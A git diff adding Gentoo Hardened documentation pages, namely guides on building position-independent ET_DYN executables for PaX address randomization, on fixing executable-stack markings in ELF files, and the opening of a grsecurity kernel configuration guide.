+   this approach is that it is slow (the kernel compilation benchmark sees
+   a 3 times slow down for example) and prone to false positive detections
+   of so-called return-to-libc style attacks (which renders it unusable on
+   such executables). </p> 
+   
+   <warn>Therefore this method mainly exists to prove a point
+   and is not intended for production use.</warn>
+
+   <p>RANDMMAP on the other hand works on ELF files of the ET_DYN kind which is
+   normally used for dynamically linkable libraries. This approach has none
+   of the drawbacks that plague RANDEXEC because such ET_DYN ELF files have
+   enough relocation information and the dynamic linker has no problem with
+   relocating them (and there is no performance penalty at runtime), nor is
+   there a chance for false positive attack detections as none is done in the
+   first place. This means that protecting against the return-to-libc style
+   attack (in case the information about the randomization can leak to the
+   attacker) requires other approaches, which is not discussed here.</p>
+
+   <p>It should be clear by now that the preferable way of randomizing the main
+   executable's base address is via RANDMMAP and not RANDEXEC. This in turn
+   means that we need a way to produce ET_DYN ELF executables instead of the
+   ET_EXEC kind. The following parts describe the process in detail and
+   hopefully provide enough information so that modifying existing packages
+   to produce ET_DYN ELF targets will not be a problem. Software authors
+   and/or package maintainers are encouraged to provide such make targets
+   themselves in the future.</p>
+
+	</body>
+</chapter>
+
+<chapter>
+	<title>How to produce ET_DYN ELF executables</title>
+	<body>
+
+   <p>The following discussion assumes that the GNU toolchain (such as gcc and
+   ld) is used to produce the target file, other languages and tools should
+   follow the same principles however. The process has two main steps, first
+   compilation then linking, both of which need to be modified for producing
+   an ET_DYN ELF executable.</p>
+
+   <p>Compilation has to be modified in order to produce position independent
+   code (PIC) which in turn allows the linker to not emit so-called text
+   relocations in the final ET_DYN ELF file. Although this step is not
+   strictly required (it does not affect the relocatability of the result),
+   it is useful as this allows for another security related hardening: PaX
+   normally makes it impossible to make an executable file mapping writable,
+   however for text relocations it has to make an exception. If there are
+   no such ET_DYN ELF files on a system, this exception can be removed and
+   then the only way to introduce new executable code into a task's address
+   space will be via file creation and mapping (which can be prevented by
+   other methods such as ACL systems). Producing PIC is very easy, one just
+   has to add the -fPIC switch to the compiler command line. This will not
+   get rid of all text relocations however as there are other sources of
+   (position dependent) code contributing to the final ET_DYN ELF file that
+   will lead us to the next step.</p>
+   
+   <p>Linking the main executable is governed by a special script called the
+   'specs' file ('gcc -v' tells us what is used by default). Studying it in
+   detail is beyond our scope, but let's note the fact that there are more
+   object files linked into the result than one has specified on the linker
+   command line. These extra objects are necessary for implementing such
+   features as calling constructors/destructors or the low-level entry point
+   of the code (the main() C function is not the actual entry point of an ELF
+   executable). </p>
+
+   <p>Linking an ET_DYN ELF file is initiated by specifying the -shared switch
+   on the gcc command line which in turn will affect what extra object files
+   go into the result. Since our actual goal is to produce the main executable
+   (vs. a shared library), we have to make sure that we link in all extra
+   objects normally expected by an ET_EXEC target and not necessarily those
+   specified by the specs file for libraries. Luckily there is only one extra
+   object we have to take care of: crt1.o (we will ignore profiling and not
+   care about gcrt1.o). It is no coincidence that crt1.o is not linked into
+   shared libraries as this object contains (among others) the low-level entry
+   point and startup code that invokes the C library startup code which in
+   turn calls main(). 
+   <warn>Initiating the building of ET_DYN executables on Gentoo does not require us to put -shared in our CFLAGS or LDFLAGS</warn></p>
+
+   <p>Making crt1.o position independent is easy, we just have to make use of the
+   GOT (in keeping with the tradition of the glibc naming convention for the
+   position independent version of the extra object files, we will call it
+   crt1S.o). There is one last issue to take care of: a dynamically linked
+   executable requires a special program header that specifies the dynamic
+   linker to be mapped into memory by the kernel on task creation. As we can
+   see it from the specs file, having the -shared switch on the linker command
+   line will omit the dynamic linker specification and would produce an
+   unusable ET_DYN ELF file. The solution is simple, we follow the approach
+   of glibc which is also an executable ET_DYN ELF file: the dynamic linker
+   is specified in an object file that contains the full path to the dynamic
+   linker in a specific ELF section that ld will recognize and convert into
+   the corresponding program header.</p>
+
+   <p>The above method is demonstrated on a simple 'hello world' program that
+   is included with this document. The source code of the main executable
+   is in a.c, our PIC crt1 is in crt1S.S (it has to be written in assembly,
+   the code is directly derived from glibc 2.2) and finally interp.c defines
+   the dynamic linker (technically it could be put into crt1S.S as well to
+   reduce the number of extra files to a minimum). The makefile is very
+   simple as well, it compiles each source file into an object file and then
+   links them together. One important thing to note is the order of the
+   object files on the linker command line: crt1S.o must come first (that is,
+   before any object file of the application) and interp.o should follow it
+   directly as this will result in the interpreter program header getting
+   emitted before the PT_LOAD headers (which is the normal program header
+   ordering in ET_EXEC files, although it is not strictly necessary). Since
+   crt1S.o and interp.o are constant (they do not depend on the application
+   code) they can be compiled once and put into the same directory where
+   the other systemwide crt* files are.</p>
+	</body>
+</chapter>
+
+<chapter>
+	<title>ET_DYN ELF executables (The Gentoo Way)</title>
+	<body>
+
+   <p>On Gentoo this is accomplished by merging <i>hardened-gcc</i>: </p>
+
+   <pre caption = "Emerging hardened-gcc">
+<c># emerge hardened-gcc</c>
+</pre>
+   
+   <p><i>hardened-gcc</i> is an umbrella package for non-mainstream gcc modifications
+   The <i>hardened-gcc</i> packages was initially created by Alexander Gabert 
+   for this special purpose we are serving here: rolling out the etdyn
+   specs file and interp.o together with the position independent
+   crt1S.o.  But this package is not limited to that purpose.  
+   It was designed to be the be used for any future changes to gentoo-hardened systems 
+   regarding the improvement of gcc compiling binaries that are more secure 
+   than the default product coming out when the vanilla gcc is used. And it can be used for ebuild packages to
+   "trigger" some alternative action once they "realize" that they are
+   getting built on a system equipped with a modified gcc for enforcing
+   gentoo hardened protection measures. Straight this means that when a
+   package is found to be breaking when used with the hardened-gcc changes,
+   the particular ebuild of that failing package can and will be modified
+   by our gentoo-hardened developers to put some "check" logic into it when
+   the hardened-gcc is found on the target system. </p>
+
+   <p>As an example lets try the rebuilding our chpax binary as an ET_DYN
+   shared executable. We can use the file(1) command to determine if we 
+   in fact we are building our executables as ET_EXEC or ET_DYN.</p> 
+   
+   <p>The first example here we have chpax built as an ET_DYN and the second 
+   one is chpax built as an ET_EXEC.</p>
+
+	<pre caption = "Example files">
+<c># file /sbin/chpax</c>
+/sbin/chpax: ELF 32-bit LSB shared object, Intel 80386, version 1 \
+(GNU/Linux), stripped
+/sbin/chpax: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for \
+GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
+</pre>
+
+	</body>
+</chapter>
+
+
+<comment>To keep the bugs down for us we really dont want the
+end user mucking with the specs -solar </comment>
+<comment>
+   <p>We can further simplify the building of ET_DYN executables by modifying
+   a few sections of the default gcc specs file as demonstrated in the
+   specs.2.95.3 and specs.3.2.3 files (for the respective gcc versions).
+   To use the new specs file we can either replace the default one or pass
+   it on the gcc command line via the -specs switch (in the latter case we
+   could further trim down the new specs file and keep only the sections
+   that we changed: *cpp, *cc1, *endfile, *link and *startfile). From now
+   on invoking gcc as 'gcc -et_dyn' will produce an ET_DYN executable (the
+   same goes for g++).</p>
+
+   <p>Readers interested in rebuilding entire distributions are encouraged to
+   take a look at the Adamantix (http://www.adamantix.org) and Hardened
+   Gentoo projects (http://www.gentoo.org/proj/en/hardened/).</p>
+</comment>
+<chapter>      
+	<title>Credits</title>
+	<section>       
+		<title>Works Cited</title>
+		<body>
+			<ul><li><uri link="http://pax.grsecurity.net">PaX Homepage</uri></li></ul>
+			<ul><li><uri link="http://pax.grsecurity.net/docs/index.html">PaX Documentation</uri></li></ul>
+			<ul><li>Collective Work.  PaX - Gentoo Wiki.</li></ul>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/gnu-stack.xml b/xml/htdocs/proj/en/hardened/gnu-stack.xml
new file mode 100644
index 00000000..6b1bd543
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/gnu-stack.xml
@@ -0,0 +1,455 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/gnu-stack.xml" lang="en">
+<title>The GNU Stack Quickstart</title>
+
+<author title="Author">
+ <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Author">
+ <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+ <mail link="pageexec@freemail.hu">The PaX team</mail>
+</author>
+<author title="Contributor">
+ <mail link="kevquinn@gentoo.org">Kevin F. Quinn</mail>
+</author>
+
+<abstract>Handbook for proper GNU Stack management in ELF systems</abstract>
+
+<!-- The content of this document is placed into the public domain, have fun -->
+
+<version>1.2</version>
+<date>2006-02-20</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+With the rise of mainstream consumer machines with hardware stack protection 
+(e.g. the <uri link="http://en.wikipedia.org/wiki/NX_bit">NX bit</uri> on 
+amd64), we developers have to be doubly sure that our packages build with the 
+correct stack settings.  Keep in mind that stack protection is an issue for all 
+architectures, not just x86 or amd64.
+</p>
+
+<p>
+The purpose of this document is to help package maintainers fix their packages 
+when they break.  We will be focusing our attention on the GNU_STACK ELF 
+marking.  ELF is simply a file format which all modern linux distros use.  An 
+ELF can be an executable (say <path>/bin/ls</path>) or a library (say 
+<path>/lib/libncurses.so</path>).  GNU_STACK is just an ELF program header 
+which tells the system how to control the stack when the ELF is loaded into 
+memory.
+</p>
+
+<p>
+Before getting started, you should read through the Wikipedia entry on the 
+<uri link="http://en.wikipedia.org/wiki/NX_bit">NX bit</uri>.  You can skip it 
+of course if you're already familiar with the concept of executable versus 
+non-executable stacks.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Causes of executable stack markings</title>
+<section>
+<body>
+
+<p>
+ELF files end up with executable stack markings in one of three ways:
+</p>
+
+<ol>
+ <li>GCC generates code that uses executable stack</li>
+ <li>an object built from assembler source includes a marking indicating to
+     the linker that it needs an executable stack (the GNU-stack note set for
+     executable stack)</li>
+ <li>an object built from assembler source is missing the GNU-stack note;
+     a very common occurrence especially for code expected to work on
+     many platforms</li>
+</ol>
+
+<p>
+GCC generates code to be executed on the stack when it implements a 
+<uri link="http://gcc.gnu.org/onlinedocs/gccint/Trampolines.html">trampoline 
+for nested functions</uri>.  To remove the need for an executable stack in 
+this case, it is necessary to rewrite the code another way.  Sometimes this 
+is relatively easy, other times not.
+</p>
+
+<p>
+If an assembler source file includes a GNU-stack note that indicates it needs
+an executable stack, presumably this is by design.  Again, in order to remove 
+the need for an executable stack, the code probably needs to be rewritten.
+</p>
+
+<p>
+If an assembler source contains no GNU-stack note, the system by default 
+assumes that an executable stack may be required.  However, usually if there's 
+no GNU-stack note, this is simply because the author didn't include one, 
+rather than the code actually needing an executable stack.
+</p>
+
+<p>
+In the first two cases above, the executable stack marking is correct, and 
+should only be removed by rewriting the code to eliminate the executable 
+stack requirement.  Such rewriting has to be considered on a case-by-case 
+basis and is outside the scope of this document, at least for now.  Here we 
+focus on the third case, where the upstream author has not indicated whether 
+the assembler object needs an executable stack; fixing this means adding the 
+GNU-stack note to the source to indicate an executable stack is not necessary.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Finding ELFs that ask for an executable stack</title>
+<section>
+<body>
+
+<p>
+Before you can start fixing something, you have to make sure it's broken first, 
+right?  For this reason, we've developed a suite of tools named <uri 
+link="/proj/en/hardened/pax-utils.xml">PaX Utilities</uri>.  If you are not 
+familiar with these utilities, you should read the <uri 
+link="/proj/en/hardened/pax-utils.xml">PaX Utilities Guide</uri> now.  Gentoo users 
+can simply do <c>emerge pax-utils</c>.  Non-Gentoo users should be able to 
+find a copy of the source tarball in the <path>distfiles</path> on a <uri 
+link="/main/en/mirrors.xml">Gentoo Mirror</uri>.  Once you have the PaX 
+Utilities setup on your system, we can start playing around with 
+<c>scanelf</c>.
+</p>
+
+<p>
+Let's see if your system has any ELFs that want an executable stack.
+</p>
+
+<pre caption="Scan your system">
+$ <i>scanelf -lpqe</i>
+RWX --- ---  /usr/lib/opengl/xorg-x11/lib/libGL.so.1.2
+RWX --- ---  /usr/lib/libcrypto.so.0.9.7
+RWX --- ---  /usr/lib/libmp.so.3.1.7
+RWX --- ---  /usr/lib/libSDL-1.2.so.0.7.2
+RWX --- ---  /usr/lib/libsmpeg-0.4.so.0.1.3
+RWX --- ---  /usr/lib/libImlib2.so.1.2.0
+RWX --- ---  /usr/lib/libOSMesa.so.4.0
+RWX --- ---  /usr/lib/libxvidcore.so.4.1
+RWX --- ---  /usr/lib/libgmp.so.3.3.3
+RWX --- ---  /usr/bin/mencoder
+RWX --- ---  /usr/bin/Xorg
+RWX --- ---  /usr/bin/mplayer
+</pre>
+
+<p>
+We really only need to look at the first column (which corresponds to the ELF 
+GNU_STACK markings).  Most of the time, if we fix that field, all the others 
+fall into place.  As we can see above, many files are marked with an 
+executable stack (<e>RWX</e>).  We want to make sure all files are marked 
+with <e>RW-</e>.  The large majority of the time this means the package was 
+compiled incorrectly, so not much will have to be done with patching up the 
+source code.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What needs to be fixed</title>
+<section>
+<body>
+
+<p>
+We now know what files need to be fixed, but what source files are causing 
+this breakage?  The only way to find this out is to compile the package and 
+analyze the object files before they are combined into the final executable or 
+library.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Fixing smpeg</title>
+<body>
+
+<p>
+So we first have to compile smpeg before we can analyze it.
+</p>
+
+<pre caption="Compiling smpeg">
+$ <i>ebuild /usr/portage/media-libs/smpeg/smpeg-0.4.4-r6.ebuild clean unpack compile</i>
+$ <i>cd /var/tmp/portage/smpeg-0.4.4-r6/work/smpeg-0.4.4/</i>
+</pre>
+
+<p>
+Now we need to look at each object file and see if it has a 
+<e>.note.GNU-stack</e> ELF section.  Chances are, the object which is causing 
+us trouble lacks this section completely.  In that case, the compiler will 
+assume that the ELF should not be restricted at all and mark it as <e>RWX</e>.
+The <c>scanelf</c> utility will display output slightly different when
+presented with an object that is missing the ELF section.  The <b>!WX</b>
+below means that "Oh no, the GNU-stack is missing and write/execute permissions
+will be used by default!"
+</p>
+
+<pre caption="Locate missing .note.GNU-stack sections">
+$ <i>scanelf -qeR .</i>
+!WX --- ---  ./video/mmxflags_asm.o
+!WX --- ---  ./video/mmxflags_asm.lo
+!WX --- ---  ./video/mmxidct_asm.o
+!WX --- ---  ./video/mmxidct_asm.lo
+</pre>
+
+<p>
+Sure enough, these objects lack the <e>.note.GNU-stack</e> ELF section and 
+they are linked into the final <path>libsmpeg.so</path> library.  If we were 
+to patch the source files <path>video/mmxflags_asm.S</path> and 
+<path>video/mmxidct_asm.S</path> so that they contain <e>.note.GNU-stack</e>, 
+everything would be peachy.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Check objects by hand</title>
+<body>
+
+<p>
+For fun, lets see how we could use the more common <c>readelf</c> utility
+(which is part of the <e>binutils</e> package).
+</p>
+
+<pre caption="Using readelf">
+<comment>This is what the output should look like, notice the .note.GNU-stack line</comment>
+
+$ <i>readelf -S plaympeg.o</i>
+There are 12 section headers, starting at offset 0x256c:
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+  [ 1] .text             PROGBITS        00000000 000040 001ede 00  AX  0   0 16
+  [ 2] .rel.text         REL             00000000 0030c0 000728 08     10   1  4
+  [ 3] .data             PROGBITS        00000000 001f20 000000 00  WA  0   0  4
+  [ 4] .bss              NOBITS          00000000 001f20 000000 00  WA  0   0  4
+  [ 5] .rodata.str1.4    PROGBITS        00000000 001f20 0003db 01 AMS  0   0  4
+  [ 6] .rodata.str1.1    PROGBITS        00000000 0022fb 0001c9 01 AMS  0   0  1
+  <i>[ 7] .note.GNU-stack   PROGBITS        00000000 0024c4 000000 00      0   0  1</i>
+  [ 8] .comment          PROGBITS        00000000 0024c4 00003e 00      0   0  1
+  [ 9] .shstrtab         STRTAB          00000000 002502 000067 00      0   0  1
+  [10] .symtab           SYMTAB          00000000 00274c 0005e0 10     11   9  4
+  [11] .strtab           STRTAB          00000000 002d2c 000394 00      0   0  1
+Key to Flags:
+  W (write), A (alloc), X (execute), M (merge), S (strings)
+  I (info), L (link order), G (group), x (unknown)
+  O (extra OS processing required) o (OS specific), p (processor specific)
+
+
+<comment>Notice how there is no .note.GNU-stack section here</comment>
+
+$ <i>readelf -S video/mmxidct_asm.o</i>
+There are 8 section headers, starting at offset 0x738:
+
+Section Headers:
+  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
+  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
+  [ 1] .text             PROGBITS        00000000 000034 0005ee 00  AX  0   0  4
+  [ 2] .rel.text         REL             00000000 000a4c 0000f0 08      6   1  4
+  [ 3] .data             PROGBITS        00000000 000630 0000d8 00  WA  0   0 16
+  [ 4] .bss              NOBITS          00000000 000708 000000 00  WA  0   0  4
+  [ 5] .shstrtab         STRTAB          00000000 000708 000030 00      0   0  1
+  [ 6] .symtab           SYMTAB          00000000 000878 000120 10      7  17  4
+  [ 7] .strtab           STRTAB          00000000 000998 0000b1 00      0   0  1
+Key to Flags:
+  W (write), A (alloc), X (execute), M (merge), S (strings)
+  I (info), L (link order), G (group), x (unknown)
+  O (extra OS processing required) o (OS specific), p (processor specific)
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>How to fix the stack (in theory)</title>
+<section>
+<body>
+
+<p>
+When you compile source code normally, gcc takes care of adding the GNU_STACK 
+markings so that the final object code is not marked with an executable 
+stack unless it actually needs it.  However, if you compile assembly code,
+gcc will not automatically add GNU_STACK markings.  So, the most common source
+of executable stacks in ELF binaries are packages which include raw assembly
+code.  Note that we're not talking about inline assembly code, but rather
+files like <e>.S</e> which are written in pure assembler.
+</p>
+
+<p>
+We can either patch each source file written in assembler and send the fixes 
+upstream, or we can be lazy and simply force the package build system to 
+assemble the source files with the GNU as option <e>--noexecstack</e> (but 
+this is highly discouraged).
+</p>
+
+<p>
+The advantage to patching the code is that it's easy to do, it's portable, 
+and we can usually convince upstream to add it to their packages with little 
+fuss.  The disadvantage to patching is that we may have to patch many many 
+files.
+</p>
+
+<p>
+The advantage to just using <e>--noexecstack</e> is that you can simply add it 
+to your ebuild and be done.  The disadvantage is that the option isn't very 
+portable (it won't work with non-GNU systems, and it probably won't even 
+work with all GNU systems), and we can't really convince upstream to make this 
+change.  Thus, the only people who see the benefit here is Gentoo users.  You 
+gotta think big baby!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>How to fix the stack (in practice)</title>
+
+<section>
+<title>Patching</title>
+<body>
+
+<p>
+The great thing about patching is that you can copy and paste this stuff 
+everywhere.  Just make sure the code will be preprocessed (e.g. the source 
+file is named with <e>.S</e> and not <e>.s</e>).  Stick these code snippets 
+at the end of the source file, recompile, and do a jig.
+</p>
+
+<pre caption="Stack markings for GNU as (arch-independent)">
+#if defined(__linux__) &amp;&amp; defined(__ELF__)
+.section .note.GNU-stack,"",%progbits
+#endif
+</pre>
+
+<pre caption="Stack markings for NASM/YASM (x86/amd64-only)">
+%ifidn __OUTPUT_FORMAT__,elf
+section .note.GNU-stack noalloc noexec nowrite progbits
+%endif
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Compiling with --noexecstack</title>
+<body>
+
+<p>
+Often times you only need to add the following code in your ebuild.  You must 
+first be sure that the code does not actually require an executable stack as 
+forcing this flag will break the package otherwise.
+</p>
+
+<impo>
+Please rethink patching before using this option.  Patching source code 
+benefits a lot more people which is the goal of OSS.
+</impo>
+
+<pre caption="Using --noexecstack">
+<comment># This line goes at the top of your ebuild</comment>
+inherit flag-o-matic
+
+<comment># This line goes before CFLAGS is used (either by the ebuild or by econf/emake)</comment>
+append-flags -Wa,--noexecstack
+</pre>
+
+<p>
+On the off chance that you cannot assemble the files, you can tell the linker
+to disable execstack stack.
+</p>
+
+<pre caption="Using -z noexecstack">
+<comment># This line goes at the top of your ebuild</comment>
+inherit flag-o-matic
+
+<comment># This line goes before LDFLAGS is used (either by the ebuild or by econf/emake)</comment>
+append-ldflags -Wl,-z,noexecstack
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>If all else fails ...</title>
+<body>
+
+<p>
+If all else fails, ask around on #gentoo-dev on the irc server 
+irc.freenode.net.  Or send an e-mail to the <uri 
+link="http://www.gentoo.org/main/en/lists.xml">gentoo-dev mailing list</uri>.  
+If no one can seem to answer your question, give me a poke either on irc 
+(nickname SpanKY/vapier) or via <mail link="vapier@gentoo.org">e-mail</mail>.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Arch Status</title>
+<section>
+<body>
+
+<table>
+ <tr><th>Arch</th>     <th>Status</th></tr>
+ <tr><ti>alpha</ti>    <ti>gcc generates proper .note.GNU-stack, but final link results in exec stack</ti></tr>
+ <tr><ti>amd64</ti>    <ti>fully supported</ti></tr>
+ <tr><ti>arm</ti>      <ti>fully supported (gcc-4.1.x/glibc-2.5)</ti></tr>
+ <tr><ti>blackfin</ti> <ti>fully supported (gcc-4.3+)</ti></tr>
+ <tr><ti>hppa</ti>     <ti>gcc-3.4.x does not generate .note.GNU-stack</ti></tr>
+ <tr><ti>ia64</ti>     <ti>fully supported (gcc-3.4.4+)</ti></tr>
+ <tr><ti>m68k</ti>     <ti>fully supported (gcc-3.4.x)</ti></tr>
+ <tr><ti>mips</ti>     <ti>gcc-3.4.x does not generate .note.GNU-stack</ti></tr>
+ <tr><ti>ppc</ti>      <ti>gcc generates proper .note.GNU-stack, but final link results in exec stack</ti></tr>
+ <tr><ti>ppc64</ti>    <ti>gcc generates proper .note.GNU-stack, but final link results in exec stack</ti></tr>
+ <tr><ti>s390</ti>     <ti>fully supported</ti></tr>
+ <tr><ti>s390x</ti>    <ti>fully supported</ti></tr>
+ <tr><ti>sh</ti>       <ti>fully supported (gcc-3.4.x/glibc-2.5)</ti></tr>
+ <tr><ti>sparc</ti>    <ti>gcc generates proper .note.GNU-stack, but final link results in exec stack</ti></tr>
+ <tr><ti>x86</ti>      <ti>fully supported</ti></tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>References</title>
+<section>
+<body>
+
+<ul>
+ <li>thanks to the <uri link="http://pax.grsecurity.net/">PaX team</uri> for holding my hand</li>
+ <li>Roland McGrath's <uri link="http://www.redhat.com/archives/fedora-devel-list/2003-November/msg00838.html">brain dump</uri></li>
+ <li><uri link="http://en.wikipedia.org/wiki/NX_bit">NX bit</uri> Wikipedia entry</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/grsecurity.xml b/xml/htdocs/proj/en/hardened/grsecurity.xml
new file mode 100644
index 00000000..53669d7b
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/grsecurity.xml
@@ -0,0 +1,905 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/grsecurity.xml">
+
+<title>Gentoo Grsecurity v2 Guide</title>
+
+<author title="Author">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+This document features the grsecurity 2.x security patches, supported kernel
+configuration options and tools provided by the grsecurity project to lift your
+system's security to higher standards.
+</abstract>
+
+<version>1</version>
+<date>2010-01-05</date>
+
+<chapter>
+<title>About Grsecurity</title>
+<section>
+<title>The Grsecurity Project</title>
+<body>
+
+<p>
+The grsecurity project, hosted on <uri>http://www.grsecurity.org</uri>, provides
+various patches to the Linux kernel which enhance your system's overall
+security. The various features brought by grsecurity are discussed in the next
+chapter; a comprehensive list is maintained on the <uri
+link="http://www.grsecurity.org/features.php">grsecurity features page</uri>
+itself.
+</p>
+
+<p>
+As grsecurity's features are mostly kernel-based, the majority of this document
+explains the various kernel features and their respective sysctl operands (if
+applicable). 
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Hardened Integration</title>
+<body>
+
+<p>
+The <uri link="http://hardened.gentoo.org">Gentoo Hardened Project</uri>
+maintains security-enhancement features for Gentoo, including but not limited to
+grsecurity.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kernel Configuration</title>
+<body>
+
+<p>
+Throughout this document we will talk about kernel configuration using the
+kernel variables like <c>CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS</c>. These are the
+variables that the kernel build process uses to determine if a certain feature
+needs to be compiled.
+</p>
+
+<p>
+When you configure your kernel through <c>make menuconfig</c> or similar, you
+receive a user interface through which you can select the various kernel
+options. If you select the <e>Help</e> button at a certain kernel feature you
+will see at the top that it lists such a kernel variable.
+</p>
+
+<p>
+You can therefore still configure your kernel as you like - with a bit of
+thinking. And if you can't find a certain option, there's always the possibility
+to edit <path>/usr/src/linux/.config</path> by hand :)
+</p>
+
+<p>
+Of course, to be able to select the various grsecurity kernel options, you must
+enable grsecurity in your kernel:
+</p>
+
+<pre caption="Activating grsecurity">
+CONFIG_GRKERNSEC=y
+CONFIG_GRKERNSEC_CUSTOM=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>PaX</title>
+<section>
+<title>Fighting the Exploitation of Software Bugs</title>
+<body>
+
+<p>
+PaX introduces a couple of security mechanisms that make it harder for attackers
+to exploit software bugs that involve memory corruption (so don't treat PaX as
+if it protects against all possible software bugs).  The <uri
+link="http://pax.grsecurity.net/docs/pax.txt">PaX introduction document</uri>
+talks about three possible exploit techniques:
+</p>
+
+<ol>
+  <li>introduce/execute arbitrary code</li>
+  <li>execute existing code out of original program order</li>
+  <li>execute existing code in original program order with arbitrary data</li>
+</ol>
+
+<p>
+One prevention method disallows executable code to be stored in writable 
+memory. When we look at a process, it requires five memory regions:
+</p>
+
+<ol>
+  <li>
+    a <e>data section</e> which contains the statically allocated and global
+    data
+  </li>
+  <li>
+    a <e>BSS region</e> (Block Started by Symbol) which contains information
+    about the zero-initialized data of the process
+  </li>
+  <li>
+    a <e>code region</e>, also called the <e>text segment</e>, which contains
+    the executable instructions
+  </li>
+  <li>
+    a <e>heap</e> which contains the dynamically allocated memory
+  </li>
+  <li>
+    a <e>stack</e> which contains the local variables
+  </li>
+</ol>
+
+<p>
+The first PaX prevention method, called <b>NOEXEC</b>, is meant to give control
+over the runtime code generation. It marks memory pages that do not contain 
+executable code as non-executable. This means that the heap and the stack, 
+which only contain variable data and shouldn't contain executable
+code, are marked as non-executable. Exploits that place code in these areas with
+the intention of running it will fail.
+</p>
+
+<p>
+NOEXEC does more than this actually, interested readers should focus their
+attention to the <uri link="http://pax.grsecurity.net/docs/noexec.txt">PaX
+NOEXEC documentation</uri>.
+</p>
+
+<p>
+The second PaX prevention method, called <b>ASLR</b> (Address Space Layout
+Randomization), randomize the addresses given to memory requests. Where
+previously memory was assigned contiguously (which means exploits know where
+the tasks' memory regions are situated) ASLR randomizes this allocation,
+rendering techniques that rely on this information useless.
+</p>
+
+<p>
+More information about ASLR can be found <uri
+link="http://pax.grsecurity.net/docs/aslr.txt">online</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Enabling PaX</title>
+<body>
+
+<p>
+The recommended kernel setting for PaX is:
+</p>
+
+<pre caption="Recommended PaX Kernel Configuration">
+<comment>#
+# PaX Control
+#
+# CONFIG_GRKERNSEC_PAX_SOFTMODE is not set</comment>
+CONFIG_GRKERNSEC_PAX_EI_PAX=y
+CONFIG_GRKERNSEC_PAX_PT_PAX_FLAGS=y
+CONFIG_GRKERNSEC_PAX_NO_ACL_FLAGS=y
+<comment># CONFIG_GRKERNSEC_PAX_HAVE_ACL_FLAGS is not set
+# CONFIG_GRKERNSEC_PAX_HOOK_ACL_FLAGS is not set
+
+#
+# Address Space Protection
+#</comment>
+CONFIG_GRKERNSEC_PAX_NOEXEC=y
+<comment># CONFIG_GRKERNSEC_PAX_PAGEEXEC is not set</comment>
+CONFIG_GRKERNSEC_PAX_SEGMEXEC=y
+CONFIG_GRKERNSEC_PAX_EMUTRAMP=y
+CONFIG_GRKERNSEC_PAX_MPROTECT=y
+<comment># CONFIG_GRKERNSEC_PAX_NOELFRELOCS is not set</comment>
+CONFIG_GRKERNSEC_PAX_ASLR=y
+CONFIG_GRKERNSEC_PAX_RANDKSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDUSTACK=y
+CONFIG_GRKERNSEC_PAX_RANDMMAP=y
+CONFIG_GRKERNSEC_PAX_RANDEXEC=y
+<comment># CONFIG_GRKERNSEC_KMEM is not set
+# CONFIG_GRKERNSEC_IO is not set</comment>
+CONFIG_GRKERNSEC_PROC_MEMMAP=y
+CONFIG_GRKERNSEC_HIDESYM=y
+</pre>
+
+<p>
+If you are running a non-x86 system you will observe that there is no
+CONFIG_GRKERNSEC_PAX_NOEXEC. You should select CONFIG_GRKERNSEC_PAX_PAGEEXEC 
+instead as it is the only non-exec implementation around.
+</p>
+
+</body>
+</section>
+<section>
+<title>Controlling PaX</title>
+<body>
+
+<p>
+Not all Linux applications are happy with the PaX security restrictions. These
+tools include xorg-x11, java, mplayer, xmms and others. If you plan on using
+them you can elevate the protections for these applications using <c>chpax</c>
+and <c>paxctl</c>.
+</p>
+
+<pre caption="Installing the chpax and paxctl tools">
+# <i>emerge sys-apps/chpax</i>
+# <i>emerge sys-apps/paxctl</i>
+</pre>
+
+<p>
+chpax provides an init script that handles most known application settings for
+you:
+</p>
+
+<pre caption="Adding the chpax init script to the default runlevel">
+# <i>rc-update add chpax default</i>
+</pre>
+
+<p>
+<c>pax-utils</c> is a small toolbox which contains useful applications to
+administrate a PaX aware server. 
+</p>
+
+<pre caption="Installing pax-utils">
+# <i>emerge pax-utils</i>
+</pre>
+
+<p>
+Interesting tools include <c>scanelf</c> and <c>pspax</c>:
+</p>
+
+<ul>
+  <li>
+    With <c>scanelf</c> you can scan over library and binary directories and
